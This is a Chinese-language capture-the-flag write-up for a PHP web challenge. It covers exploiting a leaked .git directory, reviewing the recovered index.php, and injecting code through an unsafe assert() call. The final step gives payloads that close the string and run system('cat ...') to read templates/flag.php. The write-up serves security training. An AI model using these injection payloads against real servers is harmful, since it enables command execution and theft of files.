进入题目以后可以点击三个网页,这三个网页其中有一个提示我们git、php、Bootstrap。可以联想到是git泄露
在url后面的参数改为.git
存在git漏洞,这时候就可以利用python的githacker库下载泄漏的文件
查看index.php的源代码
<?phpif (isset($_GET['page'])) {$page = $_GET['page'];
} else {$page = "home";
}$file = "templates/" . $page . ".php";// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");?>
<!DOCTYPE html>
<html><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>My PHP Website</title><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" /></head><body><nav class="navbar navbar-inverse navbar-fixed-top"><div class="container"><div class="navbar-header"><button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar"><span class="sr-only">Toggle navigation</span><span class="icon-bar"></span><span class="icon-bar"></span><span class="icon-bar"></span></button><a class="navbar-brand" href="#">Project name</a></div><div id="navbar" class="collapse navbar-collapse"><ul class="nav navbar-nav"><li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li><li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li><li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li><!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> --></ul></div></div></nav><div class="container" style="margin-top: 50px"><?phprequire_once $file;?></div><script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" /><script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" /></body>
</html>
flag.php的源代码
其中有
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
由于文件并没有对输入的字符进行过滤,所以可以进行语句闭合修改语句原本的意思,构建的payload:/?page=');//
已经知道flag.php的文件路径,是在\templates目录下
构造payload:/?page=').system('cat+./templates/flag.php');//